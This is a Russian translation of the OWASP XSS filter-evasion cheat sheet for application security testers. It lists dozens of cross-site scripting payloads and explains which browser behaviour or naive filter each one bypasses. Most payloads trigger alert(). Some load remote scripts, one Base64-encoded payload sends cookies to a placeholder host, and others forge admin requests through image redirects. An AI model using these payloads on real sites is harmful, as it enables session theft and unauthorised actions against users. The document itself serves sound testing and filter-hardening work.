Введение

Статья служит руководством по тестированию XSS для специалистов по безопасности приложений. Эта статья изначально опиралась на знаменитую XSS Cheat Sheet RSnake по адресу http://ha.ckers.org/xss.html. Серия OWASP Cheat Sheet предлагает актуальную и поддерживаемую версию документа. Первая статья OWASP — Предотвращение XSS (OWASP Cheat Sheet) — была вдохновлена работой RSnake; авторы благодарны RSnake за идею.

Тесты

Эта статья показывает", что фильтрация входных данных — неполная мера против XSS. Приведены приёмы XSS, способные обходить отдельные защитные фильтры.

Базовый тест XSS без обхода фильтра

Атака с обычной инъекцией JavaScript в XSS задаёт базовую линию (кавычки в современных браузерах не обязательны, поэтому опущены):

<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>

Локатор XSS (полиглот)

Тест использует «полиглотную» тестовую XSS-нагрузку, исполняемую в нескольких контекстах: HTML, строках сценария, JavaScript и URL:

javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>

(На основе твита Gareth Heyes).

Искажённые теги A

Тест опускает атрибут href, чтобы показать XSS через обработчики событий:

\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

Chrome автоматически подставляет недостающие кавычки. При сбоях следует попробовать убрать кавычки — Chrome корректно расставит их в URL или сценариях:

\<a onmouseover=alert(document.cookie)\>xxs link\</a\>

(Предложено David Cross, проверено в Chrome.)

Искажённые теги IMG

Метод XSS опирается на «снисходительный» движок отрисовки и формирует вектор внутри тега IMG (его следует заключать в кавычки). Вероятно, изначально это задумывалось как исправление небрежной вёрстки, но одновременно сильно усложняет корректный разбор HTML-тегов:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

(Изначально найдено Begeek; затем очищено и сокращено для работы во всех браузерах.)

fromCharCode

Если система запрещает кавычки, можно вызвать eval() с fromCharCode в JavaScript и собрать нужный вектор XSS:

<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>

Тег SRC по умолчанию для обхода фильтров по домену SRC

Атака обходит большинство фильтров по домену в SRC. Вставка JavaScript в обработчик события применима к любым типам HTML-тегов: Form, Iframe, Input, Embed и т.д. Допускается подстановка подходящего события для типа тега — например onblur или onclick, что даёт много вариаций перечисленных инъекций:

<IMG SRC=# onmouseover="alert('xxs')">

(Предложено David Cross, правки Abdullah Hussam.)

Пустой SRC по умолчанию

<IMG SRC= onmouseover="alert('xxs')">

Полное отсутствие атрибута SRC

<IMG onmouseover="alert('xxs')">

Алерт по onerror

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror и кодирование вызова alert

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Десятичные HTML-символные ссылки

Примеры XSS с директивой javascript: внутри <IMG в Firefox не срабатывают; здесь используются десятичные HTML-символные ссылки как обходной путь:

 <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>

Десятичные HTML-ссылки без завершающей точки с запятой

Часто помогает обходить XSS-фильтры, ищущие подстроку &\#XX;: многие не учитывают дополнение нулями — допускается до 7 цифр. Полезно и против фильтров, декодирующих по шаблону вроде $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;, ошибочно полагающих, что HTML-сущность обязана заканчиваться точкой с запятой (встречалось в реальных системах):

<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>

Шестнадцатеричные HTML-ссылки без завершающей точки с запятой

Атака срабатывает и против фильтра под строку $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;: он предполагает цифры после #, тогда как для шестнадцатеричных HTML-сущностей это неверно:

<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>

Встроенный табулятор

Приём разрывает цепочку XSS:

 <a href="jav   ascript:alert('XSS');">Click Me</a>

Закодированный табулятор

Тот же приём разрывает XSS:

 <a href="jav&#x09;ascript:alert('XSS');">Click Me</a>

Перевод строки для разрыва XSS

Иногда утверждают, что для атаки подойдут любые символы с кодами 09–13 (десятичные) — это неверно. Работают только 09 (горизонтальная табуляция), 10 (перевод строки) и 13 (возврат каретки). Справка — таблица ASCII. Ниже четыре примера XSS для этого вектора:

<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>

Пример 1: разрыв XSS встроенным возвратом каретки

(Замечание: строки намеренно длиннее необходимого — нули можно опускать. Часто фильтры считают, что hex и dec должны быть из двух или трёх символов; на деле допускается 1–7 символов.)

<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>

Пример 2: разрыв директивы JavaScript нулевым байтом

Нулевые байты тоже дают вектор XSS, но иначе: их нужно внедрять напрямую (например Burp Proxy), через %00 в URL или собственный инструмент; в vim нуль даётся как ^V^@, либо можно сгенерировать так (в файл):

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

%00 особенно удобен и в реальных условиях помогал обходить фильтры на вариациях этого примера.

Пример 3: пробелы и метасимволы перед javascript: в изображениях

Полезно, если фильтр не учитывает пробелы внутри слова javascript: (их действительно не видно при отображении), но ошибочно считает, что между кавычкой и ключевым словом javascript: пробел недопустим. На деле между ними может стоять любой символ с кодом 1–32 (десятичный):

<a href=" &#14;  javascript:alert('XSS');">Click Me</a>

Пример 4: XSS с небуквенно-нецифровым разделителем

Парсер HTML в Firefox считает символ не-буква/не-цифра после ключевого слова HTML недопустимым и трактует его как пробельный или невалидный токен после тега. Некоторые XSS-фильтры полагают, что искомый тег обязан разделяться пробелом. Например \<SCRIPT\\s не совпадает с \<SCRIPT/XSS\\s:

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

Та же идея, расширенная с помощью фаззера Rsnake: движок Gecko допускает между именем обработчика и знаком «равно» любой символ, кроме букв, цифр и «обрамляющих» (кавычки, угловые скобки и т.п.), что облегчает обход блокировок XSS. То же относится к символу grave accent:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit отмечал различие Trident (IE) и Gecko (Firefox): допустим один слэш между именем тега и параметром без пробелов — полезно, если система запрещает пробелы:

<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

Лишние открывающие угловые скобки

Вектор XSS может обходить детекторы, которые ищут пары «<» и «>» и сравнивают тег внутри, вместо более эффективного поиска целых совпадений (например Бойера — Мура) по «<» и имени тега после деобфускации. Двойной слэш закомментирует лишнюю закрывающую часть и подавит ошибку JavaScript:

<<SCRIPT>alert("XSS");//\<</SCRIPT>

(Предложено Franz Sedlmaier.)

Без закрывающих тегов SCRIPT

В Firefox фрагмент \></SCRIPT> для этого вектора не обязателен: браузер сам «дозакрывает» HTML-тег. В отличие от следующего приёма, здесь не нужен дополнительный HTML ниже. Кавычки при необходимости можно добавить, обычно они не нужны:

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

Разрешение протокола в тегах SCRIPT

Вариант частично основан на обходе разрешения протокола Ozh (см. ниже); работает в IE и Edge в режиме совместимости. Удобен при ограничении длины; чем короче домен, тем лучше. Суффикс .j допустим независимо от кодировки — браузер интерпретирует его в контексте SCRIPT:

<SCRIPT SRC=//xss.rocks/.j>

(Предложено Łukasz Pilorz.)

Полуоткрытый HTML/JavaScript-вектор XSS

В отличие от Firefox, движок IE (Trident) не дописывает лишние данные на страницу, но допускает директиву javascript: в изображениях — удобный вектор без закрывающей «>». Ниже точки внедрения должен идти какой-либо HTML-тег: даже без явного \> последующие теги «закроют» конструкцию. Разметка при этом может исказиться. Обходится NIDS-регулярное выражение /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/, так как конечный \> не требуется. В реальных системах срабатывало и с незакрытым <IFRAME вместо <IMG.

<IMG SRC="`<javascript:alert>`('XSS')"

Экранирование экранирования JavaScript

Если приложение выводит данные пользователя внутрь JavaScript (например <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>), а сервер экранирует кавычки, можно обойти это, экранируя символ экранирования. После внедрения получится <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT> — двойная кавычка «раскрывается», и срабатывает XSS. Локатор XSS использует этот приём:

\";alert('XSS');//

Альтернатива: если к встроенным данным применено корректное экранирование JSON/JavaScript, но не кодирование вывода HTML — закрыть блок script и открыть свой:

</script><script>alert('XSS');</script>

Закрытие тега TITLE

Простой вектор XSS: закрыть <TITLE>, после чего выполнится вредоносный XSS:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT type=image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

Фон BODY (image)

<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC

<IMG DYNSRC="javascript:alert('XSS')">

IMG LOWSRC

<IMG LOWSRC="javascript:alert('XSS')">

Свойство list-style-image

Нетривиальная атака через картинку в маркированном списке; из-за директивы javascript: работает только в движке IE. Практическая ценность невелика:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBScript в изображении

<IMG SRC='vbscript:msgbox("XSS")'>

Тег SVG / object

<svg/onload=alert('XSS')>

ECMAScript 6

Set.constructor`alert\x28document.domain\x29

Тег BODY

Атака не требует вариантов javascript: или <SCRIPT.... Dan Crowley отмечал пробел перед знаком «равно» (onload= и onload = различаются):

<BODY ONLOAD=alert('XSS')>

Атаки через обработчики событий

Приём с тегом BODY распространяется на схожие XSS (на момент написания — один из самых полных перечней в сети). Обновления HTML+TIME — благодарность Rene Ledosquet.

В Dottoro Web Reference есть список событий в JavaScript.

  • onAbort() (прерывание загрузки изображения)
  • onActivate() (объект становится активным элементом)
  • onAfterPrint() (после печати или предпросмотра)
  • onAfterUpdate() (объект данных после обновления в источнике)
  • onBeforeActivate() (до установки объекта активным элементом)
  • onBeforeCopy() (строка атаки выполняется непосредственно перед копированием выделения в буфер; возможно через execCommand("Copy"))
  • onBeforeCut() (строка атаки — непосредственно перед вырезанием выделения)
  • onBeforeDeactivate() (сразу после смены activeElement с текущего объекта)
  • onBeforeEditFocus() (до перехода объекта внутри редактируемого элемента в UI-активное состояние или выбора контейнера)
  • onBeforePaste() (нужна вставка от жертвы или принудительно через execCommand("Paste"))
  • onBeforePrint() (нужна печать от жертвы или вызов print() / execCommand("Print")).
  • onBeforeUnload() (нужно закрытие браузера жертвой; атакующий не может выгрузить окно, если оно не порождено родителем)
  • onBeforeUpdate() (объект данных до обновления в источнике)
  • onBegin() (onbegin — в момент начала временной шкалы элемента)
  • onBlur() (другое всплывающее окно загружено, фокус с окна снят)
  • onBounce() (у marquee behavior = alternate, содержимое достигло края окна)
  • onCellChange() (изменение данных у провайдера данных)
  • onChange() (поле select, text или TEXTAREA потеряло фокус, значение изменено)
  • onClick() (щелчок по форме)
  • onContextMenu() (нужен контекстный щелчок по зоне атаки)
  • onControlSelect() (перед выбором элемента управления объекта)
  • onCopy() (копирование жертвой или execCommand("Copy"))
  • onCut() (вырезание жертвой или execCommand("Cut"))
  • onDataAvailable() (изменение данных в элементе жертвой или тем же действием атакующего)
  • onDataSetChanged() (набор данных источника изменился)
  • onDataSetComplete() (все данные от источника получены)
  • onDblClick() (двойной щелчок по элементу формы или ссылке)
  • onDeactivate() (activeElement перешёл с текущего объекта на другой в родительском документе)
  • onDrag() (требуется перетаскивание объектов жертвой)
  • onDragEnd() (требуется перетаскивание объектов жертвой)
  • onDragLeave() (перетаскивание за пределы допустимой области)
  • onDragEnter() (перетаскивание в допустимую область)
  • onDragOver() (перетаскивание в допустимую область)
  • onDragDrop() (сброс объекта, например файла, на окно браузера)
  • onDragStart() (начало операции перетаскивания)
  • onDrop() (сброс объекта, например файла, на окно браузера)
  • onEnd() (onEnd — окончание временной шкалы)
  • onError() (ошибка загрузки документа или изображения)
  • onErrorUpdate() (ошибка обновления связанных данных в источнике у привязанного объекта)
  • onFilterChange() (визуальный фильтр завершил смену состояния)
  • onFinish() (эксплуатация после завершения циклов marquee)
  • onFocus() (строка атаки при получении окном фокуса)
  • onFocusIn() (строка атаки при получении окном фокуса)
  • onFocusOut() (строка атаки при потере окном фокуса)
  • onHashChange() (изменилась часть адреса после #)
  • onHelp() (строка атаки при нажатии F1 в фокусе окна)
  • onInput() (текст элемента изменён через интерфейс)
  • onKeyDown() (нажатие клавиши)
  • onKeyPress() (нажатие или удержание клавиши)
  • onKeyUp() (отпускание клавиши)
  • onLayoutComplete() (печать или предпросмотр печати)
  • onLoad() (строка атаки после загрузки окна)
  • onLoseCapture() (эксплуатация через releaseCapture())
  • onMediaComplete() (потоковый медиафайл — событие может наступить до начала воспроизведения)
  • onMediaError() (страница с медиафайлом; событие при сбое)
  • onMessage() (документ получил сообщение)
  • onMouseDown() (нужен щелчок по изображению жертвой)
  • onMouseEnter() (курсор над объектом или областью)
  • onMouseLeave() (наведение на изображение/таблицу и уход курсора)
  • onMouseMove() (движение курсора над изображением или таблицей)
  • onMouseOut() (наведение на изображение/таблицу и уход курсора)
  • onMouseOver() (курсор над объектом или областью)
  • onMouseUp() (нужен щелчок по изображению жертвой)
  • onMouseWheel() (нужна прокрутка колёсиком жертвой)
  • onMove() (перемещение страницы жертвой или атакующим)
  • onMoveEnd() (перемещение страницы жертвой или атакующим)
  • onMoveStart() (перемещение страницы жертвой или атакующим)
  • onOffline() (браузер переходит из онлайн в офлайн)
  • onOnline() (браузер переходит из офлайн в онлайн)
  • onOutOfSync() (прерывание воспроизведения по шкале времени)
  • onPaste() (вставка жертвой или execCommand("Paste"))
  • onPause() (onpause — для всех активных элементов при паузе шкалы, включая body)
  • onPopState() (навигация по истории сеанса)
  • onPropertyChange() (смена свойства элемента)
  • onReadyStateChange() (смена свойства элемента)
  • onRedo() (шаг вперёд в истории отмены)
  • onRepeat() (один раз на каждое повторение шкалы, кроме первого полного цикла)
  • onReset() (сброс формы)
  • onResize() (изменение размера окна; автозапуск, например <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  • onResizeEnd() (изменение размера окна; автозапуск, например <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  • onResizeStart() (изменение размера окна; автозапуск, например <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  • onResume() (onresume — для элементов, становящихся активными при возобновлении шкалы, включая body)
  • onReverse() (при repeatCount > 1 — при каждом начале обратного хода шкалы)
  • onRowsEnter() (изменение строки в источнике данных)
  • onRowExit() (изменение строки в источнике данных)
  • onRowDelete() (удаление строки в источнике данных)
  • onRowInserted() (вставка строки в источник данных)
  • onScroll() (прокрутка жертвой или scrollBy())
  • onSeek() (событие onReverse при воспроизведении шкалы не только вперёд)
  • onSelect() (выделение текста; автозапуск, например window.document.execCommand("SelectAll");)
  • onSelectionChange() (выделение текста; автозапуск, например window.document.execCommand("SelectAll");)
  • onSelectStart() (выделение текста; автозапуск, например window.document.execCommand("SelectAll");)
  • onStart() (начало каждого цикла marquee)
  • onStop() (кнопка «Стоп» или уход со страницы)
  • onStorage() (изменение области хранения)
  • onSyncRestored() (прерывание воспроизведения по шкале для срабатывания)
  • onSubmit() (отправка формы жертвой или атакующим)
  • onTimeError() (недопустимое значение временного свойства, например dur)
  • onTrackChange() (смена дорожки в playList)
  • onUndo() (шаг назад в истории отмены)
  • onUnload() (переход по ссылке, «Назад» или принудительный щелчок)
  • onURLFlip() (ASF-файл в теге HTML+TIME обрабатывает встроенные в ASF команды сценария)
  • seekSegmentTime() (метод: позиция на сегментной шкале времени и воспроизведение от неё; сегмент — одно прохождение шкалы, включая обратный ход с AUTOREVERSE)

BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

Включения JavaScript (&)

<BR SIZE="&{alert('XSS')}">

Таблица стилей STYLE

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Удалённая таблица стилей

Через подключение внешнего CSS можно внедрить XSS: параметры стиля переопределяются встроенным выражением. Только IE. На странице нет явных признаков подключённого JavaScript. Во всех примерах с удалённым CSS используется тег body — на пустой странице не сработает без хотя бы одного символа контента помимо вектора:

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

Удалённая таблица стилей, часть 2

То же, но тег <STYLE> вместо <LINK>. Вариация этого вектора применялась против Google Desktop. Закрывающий </STYLE> можно опустить, если сразу после вектора идёт HTML, который закроет конструкцию — удобно, если в XSS нельзя использовать «=» или «/» (встречалось в реальных фильтрах):

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

Удалённая таблица стилей, часть 3

Только Gecko: привязка XUL-файла к родительской странице.

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

Теги STYLE, разрывающие JavaScript для XSS

Иногда этот XSS вводит IE в бесконечный цикл alert:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

Атрибут STYLE с разрывом expression

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

(Roman Ivanov.)

IMG STYLE с expression

Гибрид двух предыдущих векторов; показывает, насколько сложно разбирать теги STYLE. Может зациклить IE:

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

Тег STYLE и background-image

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

Тег STYLE и свойство background

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

Произвольный тег с атрибутом STYLE

Движок IE не проверяет существование тега: достаточно «<» и буквы:

<XSS STYLE="xss:expression(alert('XSS'))">

Локальный файл .htc

Отличается тем, что нужен .htc на том же сервере, что и вектор. Файл подключает JavaScript и выполняет его в составе атрибута style:

<XSS STYLE="behavior: url(xss.htc);">

Кодировка US-ASCII

Атака использует «искажённый» ASCII: 7 бит вместо 8. Может обходить ряд контент-фильтров, но только если узел отдаёт US-ASCII или кодировка задана явно. Полезнее для обхода WAF, чем для серверных фильтров. Известный сервер с передачей в US-ASCII по умолчанию — Apache Tomcat.

¼script¾alert(¢XSS¢)¼/script¾

META

Особенность meta refresh — отсутствие Referer в заголовке; удобно для атак, где нужно скрыть исходный URL:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META и схема data:

Схема URL data:. В тексте нет слова SCRIPT и директивы JavaScript — используется Base64. Подробности — RFC 2397.

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META с дополнительным параметром URL

Если сайт проверяет наличие <http://>; в начале URL, правило обходится так:

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

(Moritz Naumann.)

IFRAME

Если iframe разрешены, открывается много других вариантов XSS:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME по событиям

У iframe и большинства элементов возможны обработчики событий, например:

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

(David Cross.)

FRAME

У frame те же классы XSS, что у iframe

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

Таблица TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

TD

Аналогично: у TD уязвим атрибут BACKGROUND с JavaScript в XSS:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV

DIV и background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image и Unicode-XSS

Слегка изменено для обфускации параметра URL:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

(Исходная уязвимость — Renaud Lifchitz, Hotmail.)

DIV background-image с лишними символами

RSnake собрал быстрый XSS-фаззер для символов, допустимых в IE после «(» и до директивы JavaScript. Ниже десятичные коды; допускаются hex и дополнение. (В том числе коды 1–32, 34, 39, 160, 8192–8203, 12288, 65279):

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV и expression

Вариант сработал против реального XSS-фильтра за счёт перевода строки между двоеточием и expression:

<DIV STYLE="width: expression(alert('XSS'));">

Блок Downlevel-Hidden

Только Trident (IE). Некоторые сайты считают содержимое комментариев безопасным и не удаляют его — открывается место для вектора. Либо система оборачивает фрагмент в комментарии в надежде обезвредить — как видно, это не гарантия:

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->

Тег BASE

(IE в безопасном режиме.) Нужен //, чтобы закомментировать хвост и избежать ошибки JavaScript, тогда тег XSS отрисуется. Опирается на относительные пути картинок вроде images/image.jpg без полного URL. При пути с ведущим слэшем /images/image.jpg один слэш из вектора можно убрать (для комментария по-прежнему нужны два слэша):

<BASE HREF="javascript:alert('XSS');//">

Тег OBJECT

При разрешённых объектах возможны и другие нагрузки (в т.ч. через APPLET). Связанный файл может быть HTML с вложенным XSS:

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

EMBED SVG с вектором XSS

Только Firefox:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

(nEUrOO.)

XML Data Island и обфускация CDATA

Только IE:

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Локальный XML с JavaScript через XML data island

Почти то же, но вектор хранится в XML на том же сервере. Результат:

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME в XML

Только IE; конструкция должна находиться между тегами HTML и BODY:

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>

(Так Grey Magic атаковали Hotmail и Yahoo!)

Мало символов и фильтр по .js

Файл сценария можно выдать за изображение:

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI (Server Side Includes)

Нужен SSI на сервере. Если доступны команды на сервере, проблема, как правило, серьёзнее XSS:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

PHP

Нужен PHP на сервере. Удалённое выполнение сценариев — обычно уже критичнее XSS:

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

IMG и встроенные команды

Срабатывает при внедрении (например в форум) на страницу под паролем, если та же защита распространяется на другие команды того же домена. Возможны удаление и создание пользователей (если жертва — администратор), утечка учётных данных и т.д. Редко используемый, но сильный вектор XSS:

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

IMG и встроенные команды, часть II

Опаснее тем, что внешне почти неотличимо от обычной картинки с чужого домена. Вектор использует 302 или 304 (подойдут и другие коды), перенаправляя «изображение» на URL команды. Обычный <IMG SRC="httx://badguy.com/a.jpg"> может выполнить действия от имени пользователя, открывшего страницу. Пример строки .htaccess (Apache):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

(Часть — Timo.)

Редкий сценарий: разрешён <META и им можно перезаписать cookie. На части сайтов имя пользователя берётся не из БД, а из cookie и показывается посетителю. Сочетание позволяет подменить cookie жертвы так, что при отображении выполнится JavaScript (также возможны выход из сессии, смена состояния, принуждение к входу под другой учётной записью и т.п.):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

XSS с обходом кавычек HTML

Изначально проверялось в IE; в других браузерах поведение может отличаться. Если разрешён <SCRIPT>, но запрещён <SCRIPT SRC... фильтром /\<script\[^\>\]+src/i:

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Если запрещён \<script src... фильтром /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i (важный случай — такой шаблон встречался в продакшене):

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Ещё один обход того же фильтра /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

Ещё один вариант обхода: /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i

Раздел не про противодействие; остановить именно этот пример при допустимых <SCRIPT> и запрете удалённых сценариев можно лишь полноценным разбором (конечный автомат); при разрешённых <SCRIPT> иные обходы всё равно возможны:

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Последний обход /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i с grave accent (в Firefox не работает):

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

Пример XSS, если регулярное выражение ищет любую кавычку для «закрытия» параметра, а не парную:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

Сложно заблокировать без запрета всего активного контента:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

Обход проверки строки URL

Ниже — если http://www.google.com/ запрещён программно:

IP вместо имени хоста

<A HREF="http://66.102.7.147/">XSS</A>

Кодирование URL

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Кодирование DWORD

Возможны и другие варианты записи DWORD; подробности — в калькуляторах обфускации IP.

<A HREF="http://1113982867/">XSS</A>

Шестнадцатеричное кодирование

Длина каждого числа ограничена (порядка 240 символов суммарно; видно по второй цифре). Для hex 0–F ведущий ноль в третьей группе не обязателен:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Восьмеричное кодирование

Допускается дополнение нулями; на октет следует оставить не менее 4 символов в каждом «классе» (A, B и т.д.):

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Кодирование Base64

<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">

Смешанное кодирование

Сочетание систем счисления плюс табуляции и переводы строк (браузеры это принимают). Табы и переводы строк работают только внутри кавычек:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

Обход разрешения протокола

// разрешается как http:// — экономия символов при лимите длины и обход регулярных выражений вроде (ht|f)tp(s)?:// (часть идеи — Ozh). Вместо // можно \\\\. Слэши нужно сохранить, иначе URL станет относительным:

<A HREF="//www.google.com/">XSS</A>

Без префикса www

Вместе с приёмом выше отказ от www. экономит ещё 4 байта (до 9 суммарно на корректно настроенных серверах):

<A HREF="http://google.com/">XSS</A>

Лишняя точка для «абсолютного» DNS:

<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

Подмена содержимого как вектор атаки

Допустим, http://www.google.com/ программно вырезается. Похожий вектор применяли к нескольким реальным XSS-фильтрам: сам фильтр преобразований помогает собрать атаку — например java&\#x09;script: превращается в java script:, что в IE интерпретируется как протокол:

<A HREF="http://www.google.com/ogle.com/">XSS</A>

Усиление XSS за счёт HTTP Parameter Pollution

При реализации потока «поделиться» как ниже атака возможна. Страница Content показывает пользовательский контент и ссылку на Share, где выбирается площадка для публикации. Разработчики кодируют параметр title для HTML на странице Content, чтобы снизить риск XSS, но не кодируют его для URL и не защищаются от HPP. Параметр content_type считается константой-целым, поэтому на странице Share его не кодируют и не проверяют.

Исходный код страницы Content

a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

Исходный код страницы Share

<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
// здесь могут быть пользовательское соглашение и логика отправки на сервер
...
</script>

Вывод страницы Content

Если атакующий задаёт небезопасный заголовок This is a regular title&content_type=1;alert(1), ссылка на Content станет такой:

<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

Вывод страницы Share

На странице Share в разметке может оказаться:

<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
// здесь могут быть пользовательское соглашение и логика отправки на сервер
…
</script>

